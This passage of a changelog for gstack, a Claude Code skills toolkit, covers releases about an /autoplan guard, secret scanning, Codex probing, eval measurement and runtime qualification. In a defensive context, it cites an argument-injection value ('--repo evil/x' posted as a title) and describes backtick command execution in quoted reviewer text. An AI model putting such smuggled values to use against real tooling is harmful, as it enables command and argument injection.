preparedIdentityEntry() in lib/cso/preparation-executor.ts, verificationAttemptMs() in lib/cso/cli.ts, MAX_VERIFICATION_ATTEMPT_MS in lib/cso/contracts.ts, and reclaimDeadAttemptScratch() in lib/cso/state.ts. They are pinned by test/cso-preparation-executor.test.ts, test/cso-preparation.test.ts, test/cso-cli-lifecycle.test.ts, test/cso-witness.test.ts and test/cso-snapshot-state.test.ts.

[1.91.34.0] - 2026-10-07

/autoplan works again on current Claude Code, including long sessions and claude --bg. The pre-push scan and the artifacts sync stop raising false alarms, and neither got weaker.

On Claude Code 2.1.29x, /autoplan refused every reviewer it dispatched and said "retry", which never helped. Two Claude Code changes caused it. In interactive sessions the fork-subagent setting drops run_in_background from the copy of the reviewer dispatch that hooks see, while the session journal keeps it, so the guard decided the call had been tampered with. Claude Code also often writes a tool call to the journal only after the hook has returned, so the guard waited two seconds for a record that never came. Sessions with a journal over 32 MiB were refused outright. The pre-push scan flagged your own email and emails already in the repo's history. One flagged file stopped the artifacts sync entirely, without telling you: one contributor's machine went 18 days without a push.

The numbers that matter

All measured on Claude Code 2.1.292 unless marked otherwise. The paid runs are single trials.

Check Before After

Reviewer dispatches allowed in a default interactive session 0 (each denied, "retry") all; the live PTY case logs 3 verified allows

Same, through claude --bg + claude attach 0 3 verified allows

Largest session journal the guard accepts 32 MiB any size; only a single record over 32 MiB counts as too large

One guarded read of a 120 MiB journal (4 vCPU Linux, appending during the read) refused 0.43-0.87 s, 170-235 MiB peak memory

Resumed 102 MiB session entering Phase 1 refused allowed, in 70 s

Replay fixtures shaped like the reported timelines 3 of 28 pass (the controls) 28 of 28

Codex reviews listing 7 and 8 High/Medium findings reported VERDICT: clean reported as findings

Artifacts sync with one flagged file nothing pushes, no notice that file waits, the rest pushes, and every skill start says so

What this means for you

Run /gstack-upgrade. No restart is needed. An /autoplan run already in progress may get one denial asking you to publish the phase report in its own message; do that and continue. You no longer need CLAUDE_CODE_FORK_SUBAGENT=false (keeping it is harmless). Then try ~/.claude/skills/gstack/bin/gstack-doctor to see what's ready before you start a skill.

If /autoplan denied every reviewer on Claude Code 2.1.29x

The guard now ignores only the one key Claude Code drops. When the current call isn't in the journal yet, it checks the call Claude Code handed to the hook against everything already written. A phase report counts once something later in the journal follows it, so each phase now publishes its report in its own message, whose only tool call is true autoplan-published <phase> (no output, no permission prompt).

When Claude Code itself leaves a call impossible to check, /autoplan continues and prints a visible warning instead of blocking. That covers an unknown journal shape, a journal that never catches up, a rewritten journal, an oversized record, or a newer Claude Code that drops another key. A changed reviewer prompt, a model override, a skipped report or any other integrity problem is still refused. Every message names a code with its own section in docs/autoplan-guard-troubleshooting.md. If a denial still appears, the fallback is /plan-ceo-review, then /plan-devex-review, then /plan-eng-review; or /context-save, a new session, /context-restore, then /autoplan <plan path>.

If the pre-push hook warned on your own email

The scan no longer reports your own address (git config user.email) or addresses already in the destination's history: authors and committers of the commits you push, of the remote branch you replace, and, for a new branch, of that remote's other branches. Mailmapped addresses count too. Each MEDIUM finding now names its rule, file and line, never the value. Addresses that only some other remote knows still report, and HIGH secrets still block. To allow a team or support address in one repo, run git config --add gstack.redact.allowEmail support@example.com. If the hook says "existing-email suppression was limited for this push", it couldn't read the history within 5 seconds, so known authors may be listed that one time.

If artifacts sync stopped pushing

Run ~/.claude/skills/gstack/bin/gstack-brain-sync --status. Each held file is listed with the scanner rule that matched and two fixes. Edit the file and the next skill run syncs it. If you never want it synced, run ~/.claude/skills/gstack/bin/gstack-brain-sync --skip-file <path>; undo that with --unskip-file <path>. A git index lock left behind by a killed sync is now cleared once it is 10 minutes old.

Behavior changes you may notice

/ship opens the PR early in repos that use Greptile. That means a .greptile/ folder, a greptile.json, or Greptile comments on PRs in the last 90 days. /ship pushes and opens a draft as soon as its tests pass, Greptile reviews while /ship runs its own checks, and /ship waits up to 10 minutes for that review, then folds the comments into the same pass. On a public repo it asks once first, and remembers your answer for that repo. If /ship stops partway, the draft stays open with a comment saying why. To keep the old order, run ~/.claude/skills/gstack/bin/gstack-config set ship_greptile_early false.

Outside reviews that list findings without a tag, a severity label or a "no issues" statement show unverified, never clean. Severity labels such as High: or Severity: Medium now count the same as [P1]-style tags.

Skills run the Codex probe as a command. Skills rendered before this release still source it. That keeps working, but prints one line saying it is deprecated; sourcing stops working in a release on or after 2026-10-21. /gstack-upgrade re-renders them.

Browser skills offer a tab you're already signed in to (title and origin only, for the site you named). They attach only after you confirm it once, instead of looping on "sign in again" for apps that keep the session in the tab or URL.

/context-restore no longer hands you an older checkpoint without saying so. When another branch's worktree saved a newer checkpoint for the same task, restore shows both and proposes the newer one. Generic titles like "wip" need a matching ticket number. Restoring from a folder above a repo also offers saves made in that repo.

Itemized changes

Added

bin/gstack-doctor: one row each for install, state root, Bun, hooks, Codex (with the last cached model check and its age), artifacts sync, the browse bundle, the Claude Code version, your largest session journal, and the last five /autoplan guard codes. Each row reads ok, warn, not configured or fail, and only fail makes the exit code non-zero. Every fix line is a full path you can paste. It spends nothing unless you add --live. ./setup --status gains a Codex row and ends with the doctor's path, and a new bug-report issue template asks for the doctor's output.

bin/gstack-post: posts PR and issue comments, replies, titles, bodies and new PRs or issues. Every value goes to gh or glab as an argument, never through a shell string, so a title like --repo evil/x is posted as text. It scans exactly the bytes it sends: a credential is refused, and a MEDIUM finding needs a confirmation token tied to those exact bytes. /ship, /spec and Greptile replies post through it.

gstack-codex-probe subcommands: select-model, check-auth, show-sandbox, check-sandbox, probe-model, check-version, show-first-use-notice, run-with-timeout, log-event, log-hang and help.

gstack-brain-sync --unskip-file <path> and --attention. The --status JSON gains held (path, rule and fixes for each held file), held_count, drainable, last_drain_at and last_push_at.

Every /autoplan guard decision, allow or deny, is logged without content to ~/.gstack/analytics/autoplan-guard.jsonl (the last 1,000 lines are kept).

ship_greptile_early config key (default true).

Changed

CI runs Claude Code 2.1.292 (was 2.1.284). A daily autoplan-schema-canary installs the newest Claude Code release and fails when its hook payload and journal record disagree in a new way.

Question tuning, /plan-tune and brain saves pass your words through a file. /plan-tune once again records what you said when you tune a question.

Phase reports in /autoplan are published in their own message, before the next phase starts in a later one.

Fixed

/autoplan's publication guard on Claude Code 2.1.29x, in the foreground and with --bg: the dropped run_in_background key, a current call not yet in the journal, journals over 32 MiB, and a background reviewer that finishes after the turn ended. (#3062, #3050)

The pre-push scan's false alarms on your own email and on emails already in the repo history. MEDIUM findings now name rule, file and line. (#3060)

Artifacts sync: one flagged file no longer blocks every push. Decision logs and their active snapshots are held together, so the remote never gets half of a pair. Every gstack writer to the sync repo shares one lock. A failed commit keeps the queue. Undecodable bytes can no longer pass the scanner as clean. The pre-commit hooks written by init and restore now catch Bearer/Basic/Token-prefixed JSON auth headers, like the drain does. (#3055)

The outside-review classifier reported reviews with severity words and no [Pn] tags as clean.

/context-restore picked an older checkpoint from a nested repo or a task worktree. (#3065)

Browse cookbook: the script mistakes that look like page bugs (non-serializable evaluate results, a top-level return, pg.press, empty DOM reads). (#3063, #3064)

ship-measure report no longer crashes on a measurement saved by v1.91.32.0; it lists that round as an older format to re-measure.

The paid shared-code cases recognize Claude Code 2.1.292's own internal git probe, which now disables every git hook by name, instead of reading it as an unguarded git call from the skill.

Credits in the v1.64.0.0 entry: the extension token fix (#1822) goes to @Mike-E-Log, and the polyfill exited promise (#1743) to @habassa5. (#3054)

For contributors

The guard's reason codes, dispositions and anchors live in autoplan/bin/guard-reasons.ts. The journal reader is lib/claude-owned-journal.ts (two-pass, append-tolerant) over the shared extractor lib/claude-journal-records.ts, and autoplan/bin/guard-journal.ts holds the invocation window. A free test fails on any denial that advises a retry without naming what to do first.

New paid cases: autoplan-guard-pty (gate, haiku) and autoplan-long-session (periodic). autoplan-schema-canary runs daily from evals-periodic.yml, or on dispatch with schema_canary_only: true. scripts/measure-journal-read.ts and the dispatch-only measure-journal-read.yml record read latency and memory.

gstack-post, the probe subcommands and gstack-greptile-early are not supported on native Windows yet; their CLI tests are excluded from the curated Windows subset, and the in-process tests for gstack-post, Greptile detection and the doctor run there.

Thanks to @yolo-jared and @crblabs (#3062), @akmandhania (#3060), @v639dragoon (#3055), @tomg65 (#3063, #3064, #3065), @Mike-E-Log (#3054) and @dgrant (#3020).

[1.91.33.0] - 2026-10-06

A red eval case now gets one clear verdict from its measurement: meets, qualified, extend once, or fix. A weekly sweep measures main's flakiest gate cases before any ship hits them.

/ship already measured a red case alone before rerunning the gate, but every 8 out of 10 was "below target", even when both reds were a provider outage. Now the measurement follows one bar. 9/10 meets it. 8/10 meets it as qualified when every red is a proven provider error, judge noise at the threshold, or a model miss with a cited transcript line. 7/10, or an 8/10 that does not qualify, gets exactly one more batch on the identical tree and is decided once on all 20 trials. Anything else, and any timeout, hang, regression or known fixable cause, is a fix round. Separately, a new weekly workflow picks the gate cases that cost the gate's all-green chance the most and measures them on main, with a hard $150-a-week cap.

The numbers that matter

The bar numbers are binomial for a case whose true per-trial pass rate is p (rule kind, 10 trials). The sweep numbers come from bun run scripts/ship-measure.ts sweep --dry-run against main's pass-rate history on 2026-10-06.

Case with true pass rate p Clears the bar in one batch Clears it with one extension (reds unqualified) Clears it when every red qualifies

0.95 (healthy) 91.4% 95.9% 99.8%

0.90 73.6% 80.4% 97.2%

0.80 (flaky) 37.6% 40.8% 75.3%

Sweep, latest gate census Value

Gate verdicts in the census 106

Predicted all-green probability from history 30.7%

Cases flagged (top 5 by cost to that probability) 87% to 91% per-trial pass rate each

Estimated cost to measure all 5 at 10 trials about $76, under the $150 weekly cap

A healthy 95% case used to be sent to a pointless fix round 8.6% of the time; with one extension that drops to 4.1%, while a flaky 80% case still fails the bar about 60% of the time.

What this means for you

When /ship's measure loop prints needs-classify, read the listed reds and record each one with ship-measure classify; it decides for you. A hand-picked "provider" label is refused unless the trial's own failure cause shows a provider or transport error. The weekly sweep report (artifact ship-measure-sweep-report, also the job summary) lists each flagged case with its decision, cost and captures, ready for an agent to fix.

Itemized changes

Added

ship-measure classify, decide and extend, and exit codes 5 (needs-classify) and 6 (EXTEND). EXTEND refuses to pool when any input changed (working tree, runner, Claude CLI, model, CI image, Bun, eval policy or harness version) and names the field; there is never a third batch.

Void batches: more than 30% of trials failing on provider evidence voids a batch, which is redispatched once; both batches are reported.

ship-measure sweep and .github/workflows/eval-sweep.yml (Mondays 12:00 UTC and on dispatch with k, cap_usd and dry_run). Config keys ship_measure_sweep_cases (5) and ship_measure_sweep_budget_usd (150, per 7 days, shared with every sweep that week). The workflow only reads; it never pushes or opens a pull request.

Changed

Behavior cases are decided on the trial count over 12 (11 meets, 10 qualified, 9 extends; 22 and 20 of 24 pooled) instead of also requiring every panel to pass on its own; a contract violation still sends the case to a fix round at any count.

The ship-measure report table shows each round's decision and batches, and lists qualified results under their own heading.

Fixed

ship-measure measure no longer refuses a case that shares its test file with other cases (for example ship-exploratory-late-input): the no-cost selection check before the first paid trial now accepts the per-case trial shard such a case lists.

ship-measure measure runs cases that keep native evidence (functional QA, docs faults) outside CI: each trial gets its own EVALS_RUN_ID, where before every trial stopped at "requires EVALS_RUN_ID" without starting a session.

The plan-mode-no-op gate case no longer times out on large pull requests: its CEO review reads a fixed small plan instead of the branch diff.

For contributors

The bar is one pure module, scripts/lib/measure-bar.ts, pinned by test/ship-measure-bar.test.ts; the sweep is scripts/ship-measure-sweep.ts, pinned by test/ship-measure-sweep.test.ts and test/eval-sweep-workflow.test.ts. eval:pass-rates history loading is now loadPassRateHistory() in scripts/eval-flake-rank.ts, shared with the sweep.

Diagnostic trials still never become verdicts and never enter pass-rate history or EVAL_POLICY pooling. See docs/TESTING_INTERNALS.md#ship-measure and #ship-measure-sweep.

[1.91.32.0] - 2026-10-06

Codex second opinions work on macOS again, and text from a PR or reviewer can no longer run as a shell command. Every failure in this wave names its real cause and the fix.

Since v1.91.16.0, every Codex outside pass sourced from zsh (the macOS default, including Claude Code's Bash tool) reported CODEX_MODEL: invalid, so /ship, /review, /codex and the plan reviews ran without their outside voice. Greptile replies, the pre-existing-failure issue template and /spec's issue title put reviewer, diff and error text inside double quotes, where bash runs backticks. This release fixes both, and turns several "inconclusive" or "retry" messages into the actual cause. Contributor PRs were used as diagnosis and rewritten; each contributor is credited on the commit.

The numbers that matter

Check v1.91.31.0 v1.91.32.0

zsh -c 'source bin/gstack-codex-probe && _gstack_codex_select_model exec' Module not found "/../scripts/...", CODEX_MODEL: invalid CODEX_MODEL: <model> (exec; source: ...)

Greptile reply that quotes a commit SHA in backticks posts "Fixed in ." and runs the SHA as a command posts the text byte for byte

Codex usage-limit error at preflight MODEL_PROBE_INCONCLUSIVE ... proceeding, re-probed in every skill CODEX_MODE: quota_exhausted with Codex's reset line, cached 15 min

/autoplan in a 52 MiB session journal code identity, "Retry this phase-entry tool" (forever) code too_large with the size and a recovery that keeps the work

Weekly OSV scan 10 findings (3 High) no unignored findings

What changes for you

Codex works from zsh. Sourced helpers (gstack-codex-probe, gstack-egress-lib.sh) locate themselves under bash and zsh; another shell, or a helper that cannot find itself, prints CODEX_MODE: helper_unavailable with a fix link instead of pretending you are logged out. Check it: zsh -c 'source ~/.claude/skills/gstack/bin/gstack-codex-probe && _gstack_codex_select_model exec' prints CODEX_MODEL: <model> (...).

Codex limits are named. A usage limit (insufficient_quota, "You've hit your usage limit") is CODEX_MODE: quota_exhausted: Codex's own line with the reset time, no more Codex calls that run, and GSTACK_CODEX_PROBE_RETRY=1 to re-probe early. A plain rate limit (HTTP 429) is unverified (rate_limited) and the review still runs.

Free text travels as a file. Reply bodies, issue titles and bodies, Codex prompts, design briefs and PR-body drafts are written by the agent to a private file under the project's .gstack/tmp/ (excluded from git) and sent with --body-file/-F body=@. If the file was never written, nothing is sent and the skill prints the exact command to send it by hand. A lint fails on any free-text placeholder in a generated command.

/autoplan in long sessions. Over the 32 MiB journal limit, the guard says so, with the size, and gives the recovery: /context-save, a new session, /context-restore, then /autoplan.

A red paid eval gets measured, not rerun blindly. /ship runs the case alone (rule: 10 trials, needs 9), fixes the cause, re-measures, and runs the full gate once. It asks before spending more than $2 a trial and stops at $25 per case or 3 repair rounds (ship_measure_* config keys). Diagnostic trials never change a recorded verdict.

Setup and auto-update refuse a hook that does not parse. Setup registers the hooks that parse and names the broken one with its file and line; team-mode auto-update holds an incoming release whose hook would not parse, so your current hooks keep running.

Router wording. The root router routes only to skills in your session's skill list (skills you turned off in Claude Code are not routed to) and says when to answer directly; "When in doubt, invoke the skill" is gone. To update a CLAUDE.md that gstack wrote for you: sed -i.bak "s/When in doubt, invoke the skill\./Route only to skills in the session's available-skills list; answer directly for quick questions or small scoped edits./" CLAUDE.md.

Spawned sessions never auto-grant consent. Granting a consent or publishing data off the machine counts as irreversible in every spawned-session directive.

Smaller fixes. /autoplan names a shell-built snapshot init as the cause of its denial; Windows browse chain reads piped input (empty input is a usage error); Windows runtime roots run the checkout's browse server bundle (with a version-skew guard); redaction treats TypeScript types and JSX expressions as code only in TS/JSX files; /ship skips Greptile triage when there is no PR yet, saying why; /sync-gbrain no longer offers a call-graph build for a source with no code pages; Copilot on Windows runs bash blocks in Git for Windows Bash; /cso on Windows finds a trusted docker.exe and says native Windows Docker is not supported yet (static assessment only); a Java repo is no longer asked for requirements.txt; GSTACK_DISABLE_GPU=off enables WebGL; the config-mismatch refusal says another session started the daemon.

For contributors

The Codex watchdog (stock macOS, no timeout) freezes the command before reaping its children, so output can no longer leak after the deadline.

Tests that call a real codex run it with a private HOME and CODEX_HOME; the CSO missing-scanner test points Docker at a dead socket.

scripts/ship-measure.ts owns diagnostic measurement; see docs/TESTING_INTERNALS.md#ship-measure.

Not verified on Windows hardware: the Windows items are exercised by the Windows CI lanes and the new isolated-install journey in windows-setup-e2e.yml.

[1.91.31.0] - 2026-10-06

Rails runtime qualification no longer fails at random when exporting the prepared app.

Main run 37504391826 passed 9 of its 10 native qualification rows. The Rails amd64 row failed with PREPARED_EXPORT_REJECTED (exit 70: unrecognized helper failure). That failure had appeared once locally before.

Bundler installs on one thread. Ruby's File.umask getter briefly sets the process umask to 0 and then restores it, and RubyGems calls it for every file it extracts. The Rails offline step ran bundle install --jobs 2, so a directory created by the second install thread at that moment came out 0777. The export then refused the tree, correctly, with "prepared tree contains a publicly writable directory". The install now runs with --jobs 1, and the export gate is unchanged.

Extracting the fixture's 69 gems on two threads in the staged image left 0777 directories in 20 of 20 rounds; extracting them on one thread left none in 20 rounds.

Real bundle install --jobs 2 runs of the fixture left them in 3 of 16 standalone installs and 1 of 18 full preparation runs.

At the app container's 0.85 CPU share, one thread installs in the same time as two.

The rejection reason is readable. The helper's top-level handler prints the bare error message and exits 70, but the parser only accepted Bun's error: prefix. It now accepts both forms and also reads errno-style messages, while still dropping any path.

[1.91.30.0] - 2026-10-05

A failed eval now says what happened, with the evidence and the next command. Bun is checked before anything installs, and make-pdf and /review work in Codex.

This release follows up on the severe fix wave. Its eight census runs had 21 red verdicts, and 27 of the 28 failed trials were labelled assertion, including timeouts and provider refusals, so the reports misdescribed their own failures. Now every failed trial records a machine-checked cause beside the unchanged pass/fail class, and each red line in the census report carries the expected and received values (or the judge's failing scores), the artifact holding the transcript, and a command that reruns only that case. For everyone using gstack: setup refuses a Bun too old to keep a project's .env away from gstack's tools, auto-update checks that before moving your checkout, and make-pdf and /review work inside Codex.

The numbers that matter

Each row is a regression test on this release that fails on v1.91.19.0, or a measurement from the 2026-10-03/04 census artifacts named in the row.

Check v1.91.19.0 v1.91.30.0

make-pdf blocks on Codex that use $P without finding it 7 of 8 0

/review with a read-only .git (Codex's sandbox) prints nothing, "Nothing to review" reviews against the local base, says stale at <rev>

./setup with Bun 1.3.2 installs; compiled tools read the project's .env refused before writing anything

Census cost line when billing was not captured $0.00 known sum plus "N of M trial(s) cost unknown"

plan-mode-no-op recorded wall (census 37151477069) 346 s (its test times summed) 176 s (the shard's wall)

Gate census slowest slice, replanned with measured walls (census 37198445662) ~677 s <=539 s planned

The first three rows are the ones users feel. The last three are why the next census reports are believable: costs, times and causes now mean what they say.

What changes for you

Failure reports explain themselves. A red census line keeps its error and adds cause <cause>: <evidence> (refusal, API error, provider stall, session or observer timeout, assertion), Expected/Received or dimension mean < threshold (n samples) "rationale", evidence: <artifact> and after a repair: <command>. Model-written text is sanitized before it reaches an issue or PR comment.

Bun floor and safe auto-update. Setup refuses Bun older than 1.3.3 and warns below 1.4.0, the tested version. Team-mode auto-update and /gstack-upgrade read the incoming release's Bun requirement first and hold the update, leaving your install untouched, when your Bun is too old. The first update run by an older auto-updater cannot do this check.

make-pdf on Codex and the other env-var hosts finds its binary in every block, and MAKE_PDF_BIN works there too. Install paths with spaces work.

/review in Codex's sandbox. The working-tree fingerprint writes its git objects to a private temp directory, and a base that cannot be fetched is reported as stale instead of ending the review.

/freeze, /guard, /unfreeze and /investigate's edit boundary work on Codex and the other env-var hosts. Their scripts used a path a global install does not have, and setup never installed freeze/bin; both are fixed, and /benchmark-models, /retro and /diagram find their helpers the same way.

browse stop reaps a surviving headless Chromium again on Playwright 1.62, only for browsers gstack launched.

/ship's documentation gate records post-audit file hashes with its helper instead of having the model retype them.

/plan-ceo-review shows its mode line (Mode: ... or Auto-decided review mode → ...) word for word right after the mode is chosen.

/qa names where its report filename parts come from and labels timing as probe budget and guarded command time. /deslop-shared-libs names a concrete risk for every recommendation.

/office-hours spec review stops when nothing blocking is left. Each finding is blocking or minor; minor findings are recorded in Reviewer Concerns and never force another round, and the parent fixes only blocking ones between rounds. Rounds 2 and 3 re-review the exact design diff the helper captured since the last round. The reviewer returns a one-line sha256 receipt for its saved verdict instead of echoing it. Callers can lower the 3-round cap with --max-rounds.

GSTACK_DESIGN_IMAGE_MODEL switches the design tool's image model (default gpt-image-2); a value that is not a gpt-image model name is refused before any request.

Behavior changes you may notice

LLM judges pass a dimension when 2 of their 3 samples meet its threshold (EVAL_POLICY v3, the per-dimension median; it was the mean, so one low sample beside two passing ones failed the panel). Thresholds, sample count, judge model and prompts are unchanged; panel logs still show every sample and the mean. Policy v3 and HARNESS_VERSION 2 start a new pass-rate series for every case.

Office-hours review verdicts are schema version 2 (severity and changed_text on every finding). An in-progress review saved by an older version is refused; start a fresh review directory.

Bun below 1.3.3 stops setup with gstack needs Bun 1.3.3 or newer; nothing is installed. Fix: bun upgrade, then ./setup.

Auto-update can say update held (bun-too-old: ...) and /gstack-upgrade can stop with BUN_TOO_OLD; your current version keeps working. Fix: bun upgrade.

/review in a read-only checkout reports Base coverage: stale at <revision> instead of stopping with "Nothing to review".

Browser Quick QA has a 3-minute budget (was 30 seconds, too short for a homepage and five pages with their checkpoints).

/review's plan-completion question is not asked in spawned or non-interactive runs; they report REQUIREMENTS MISSING and continue without recording anything.

live-model-check.ts ignores GSTACK_DESIGN_MODEL and always checks the default models.

A census dispatched on a branch no longer comments on or closes main's tracking issue (periodic and marathon). Its report goes to the run's step summary and a census-report (or marathon-report) artifact; main posts as before.

For contributors: bun run eval:pass-rates rejects unknown flags and case ids (exit 2) and --gate also fails when a session ran above 85% of its armed budget; every claude -p eval session streams partial messages (only a liveness summary is kept) and writes session-ledger.jsonl; overlay comparisons count an overlay-off wrong answer as a measured result (contract v4); the AUQ matrix scores recommendation substance with a 3-sample judge panel.

Itemized changes

Added

bun run eval:pass-rates --headroom (slowest armed session per case against its budget), --reds (verdict reds by class and cause, with the all-green probability and its interval) and --run <id> (one census's reds, downloading only the slices they name); --help works offline.

The weekly tracking issue shows every pass-rate alarm line (it showed only the header), the red ledger by class and cause, session headroom, the all-green probability, and a link to the new guide docs/evals/census-red.md (from a red census line to a diagnosis with free commands). The marathon issue closes itself on the next green main run.

Periodic cases codex-multiblock-live (installs gstack for Codex into a fresh CODEX_HOME and runs a later /learn block that must find gstack on its own) and design-model-smoke (the design tool's default OpenAI models; reported as skipped without OPENAI_API_KEY, never as a pass).

docs/troubleshooting.md sections for the Bun floor, held updates, stale /review bases, fingerprint temp-dir errors, the image model override, an unrecorded Chromium PID, and census report lines.

Fixed

bun run scripts/test-paid-shards.ts --case <id> selects cases registered in a loop and whole-file cases such as plan-mode-no-op; it used to select nothing.

The plan-review floor test approves its own plan-file edit when the diff preview soft-wraps unchanged lines.

The /plan-ceo-review approach-menu eval no longer asks for "verbatim ... exact prose" output, which tripped the provider's output-extraction refusal.

gstack-docs-candidate --help prints its usage and exits 0; its usage error pointed at a --help that failed. The docs gate fixtures declare it, and an "atomic replacement unproven" line now names the check and the tool failure that denied it.

The prosons neutral-posture check no longer reads "a coverage call, not a taste call" as the neutral dodge.

For contributors

Session ledger (test/helpers/session-ledger.ts), a pure failure-cause classifier beside failureClassOf, and one sanitizer for published text (scripts/lib/published-text.ts). Verdicts, failure_class and error are unchanged under EVAL_POLICY v1 (main and branch report code agree on all 15 stored census lanes).

Replay corpora for five repeat-offender detectors in the free suite, and an audit of phrase-only detectors (docs/evals/detector-inventory.md). The CEO auto-decide detector credits the mode handoff only when the chat shows its line.

Judge calibration controls (docs/evals/judge-controls-2026-10.md). The workflow judges passed bundles with a required step removed, so test/workflow-required-steps.test.ts now checks every step and phase heading of the judged workflow skills.

Paid shard durations refreshed from census 37198445662; a JUnit case's recorded wall is capped by its shard's wall.

The docsync fixture saves its observation interface to a file its children read instead of having the parent copy it into each child prompt.

[1.91.29.0] - 2026-10-05

Native runtime qualification can pass for Node, Bun, Python and Rails.

Main run 37345275258 of cso-runtime-images.yml staged every image, but eight qualify-native rows failed. Two causes showed up in the logs, and more were hiding behind them. Every cause below is fixed, and each was reproduced on a local amd64 Docker daemon against freshly built images.

Promotion evidence is recomputed for injected runtimes. The cold-start test put the staged runtimes into its test catalog without re-binding promotion.evidenceDigest, so Bun, Python and Rails failed with RUNTIME_PROMOTION_EVIDENCE_MISMATCH. A shared installStagedRuntime helper re-binds the digest, and the test now validates the catalog it builds.

npm dependency acquisition works. npm 11 refuses to load the same file as both its user and global config. The preparation commands passed /opt/cso/empty-config for both, so every Node acquisition failed. The global config now points at its own empty file, /opt/cso/empty-globalconfig, which the Node image creates.

Prepared output can leave its container. docker cp cannot read tmpfs mounts. The acquisition /archives and offline /work directories are now Docker local volumes backed by tmpfs, with the same size, owner, mode and nosuid/nodev options as before (/archives stays noexec). The runner refuses to start a container when Docker did not keep those options.

The offline seed stays up. The in-image seed command exited while the offline commands were still to run, because it was waiting on a promise that nothing kept alive. It now holds a timer until the container stops.

Prepared trees can execute. Docker's tmpfs default is noexec, so virtualenv Python and binstubs under /work exited with status 126. /work now mounts exec explicitly.

The registry broker releases its connections. Under Bun, pipe() never closed the upstream socket. A Rails acquisition opens about 70 tunnels, which filled the broker's 64-connection limit and timed out. The broker and the in-container forwarder now forward end and close explicitly, and a free test opens 70 tunnels.

Gem acquisition is batched. Each gem fetch process spends about 11 seconds loading the RubyGems index, so acquisition now runs one gem fetch per platform for all exact gems.

Rails commands wait for the source copy. db:prepare ran while run-app was still copying the prepared tree, and failed with "Could not locate Gemfile". Rails application and test containers now start through startHeldApplication, which waits until the copy has finished.

Test fixtures. The Python cold fixture called a method that unittest.TestCase does not have, and the Rails cold fixture had no bin/rails, so rails server printed the rails new help instead of booting.

Dependency installs get a bounded longer ceiling. The Rails fixture's lockfile lists only the ruby platform, so bundle install --local compiles nokogiri, sqlite3 and pg. At the app container's 0.85 CPU share that takes about 385 seconds, past the 300-second limit on one command. Dependency fetch and install commands in the preparation phases now get PREPARATION_COMMAND_TIMEOUT_MS (900 seconds). Every other command keeps 300 seconds, both stay inside the journey deadline, and a free test pins which calls can ask for the longer ceiling. The CPU share and ISOLATION_POLICY_HASH are unchanged.

Export refusals name their reason. A prepared-tree export the helper refuses now fails with PREPARED_EXPORT_REJECTED, the helper's exit status and its fixed reason or filesystem errno. Target paths are never included, and nothing retries. One unexplained refusal was seen locally in 20 exports, so a recurrence on CI will now say why.

The /cso --diff eval accepts every correct name for the webhook bug. cso-diff-mode matched only signature|authenticat|forg in the root cause and impact, so a correct finding titled "no authenticity verification" failed it. It now also matches authentic, spoof and hmac, and checks the finding title. A solo panel on main measured the case at 10/10 with and without the qualified scanner images available.

The images change (/opt/cso/preparation and the Node recipe), so qualification needs a fresh staging run on main.

[1.91.27.0] - 2026-10-05

The first protected-main runtime staging run can finish, and a qualified scanner catalog can ship.

The first cso-runtime-images.yml dispatch on main staged all ten runtime images but four rows stopped before qualification. Both causes are fixed:

Rails SBOMs fit the attestation limit. BuildKit's Rails SBOM lists about 19,600 files (20 MB), past actions/attest's 16 MiB cap. The runtime and scanner release workflows now sign a package-level SPDX 2.3 document (scripts/cso-sbom-packages.jq: packages and package relationships kept, file entries and file relationships dropped, about 0.8 MB for Rails) and reject any document whose relationships name unknown elements.

A qualified scanner catalog no longer breaks every scan. Persisted scanner outcomes record the catalog revision (cso-scanners-<sha>-<runId>) and each profile's workflow run URL. The 11-digit Actions run id read as a phone number to the redactor, so every gstack-cso scan against a real catalog failed with REDACTION_FAILED. Catalog revisions and exact Actions run URLs are now schema-bound helper metadata; the same digits anywhere else are still redacted. Three tests that assumed the shipped catalog is empty now hold for either state, so the scanner promotion job's own validation passes.

The staged-image test probes tools in a real role container. It ran npm --version and the other version probes inside the group's network anchor, which is limited to 8 processes; Node's worker threads exceed that and abort (exit 134). The probes now run in the verifier container that the same test already starts. Production code never executes in the anchor.

[1.91.25.0] - 2026-10-05

gstack can grade a private, two-architecture /cso release run, and the runtime release gates check more for themselves.

These are the gstack-side pieces the private CSO runtime evaluator needs before it can qualify Node, Bun, Python and Rails runtimes. The release pipeline (cso-runtime-images.yml → private evaluator → cso-runtime-qualification.yml → cso-runtime-promote.yml) now verifies more of its own evidence, and nothing about a user's audit changes until a qualified runtime catalog merges.

What changes for you

Private corpora score through the public scorer. scripts/cso-eval.ts accepts an injected corpus with the public layout (defineEvalCorpus), per-cell linux/amd64/linux/arm64 platforms with one producer installation and provider identity per platform, a release profile (v3, one repetition) and a hash-bound external v2 baseline. The full profile matrix is byte-identical to before.

Evaluation-only helper builds. bun run build:cso -- --evaluation-candidate <catalog> --output <dir> builds a helper unit from a cso-eval- candidate catalog outside the checkout. It reports evaluationOnly: true; setup, promotion and normal builds refuse it.

The ingress checks the staging run itself. cso-runtime-qualification.yml resolves the staging run from verified provenance and requires a successful protected-main workflow_dispatch run whose ten qualify-native jobs all passed. A dispatch summary job shows the approver the claimed images and an optional evaluationRef before approval.

Native gate evidence comes from test results. Booleans are derived from JUnit executed-and-passed counts (scripts/cso-native-evidence.ts); skipped Docker tests no longer read as passing, and PostgreSQL rows list only the checks they need.

Catalog promotion PRs get their required checks. Both promote jobs dispatch free-tests.yml on the new branch.

Multi-payload security proofs. A verification request's security may hold 1–8 assertions judged in one before/after pair; a single assertion hashes exactly as before.

Producer cells are opaque. A producer's input and receipt name only an opaque cell id; the evaluator maps it back to the case and variant, so an agent with root on its cell cannot learn which answer it is graded against.

Requalification triggers. Qualified catalogs record the helper ABI, isolation policy hash, image preparation digest and build-inputs revision; a free test fails when the committed catalog no longer matches the code.

[1.91.24.0] - 2026-10-05

PR evals stop throwing away work, and a red weekly census means something again. The free suite is faster, its flakes are visible, and broken commands are gone.

This release is a test, eval and CI audit wave. It touches no skill behavior. The paid PR lane keeps a cancelled run's finished results for the next push, waits briefly when pushes come in quick succession, and runs only the gate cases a change can affect once the change avoids a shared input. Every paid lane has a ceiling sized per runner, so a stuck shard ends as an honest TIMEOUT or not_run instead of holding a runner for four hours. The weekly census can no longer be cancelled by a branch dispatch, and a new weekly test-health report says which free tests are getting flaky or slow.

The numbers that matter

Check v1.91.22.0 v1.91.24.0

Paid CI job ceiling (gate census / periodic) 254 / 173 min for every slice 34-82 min per slice; 50 min for ordinary periodic slices

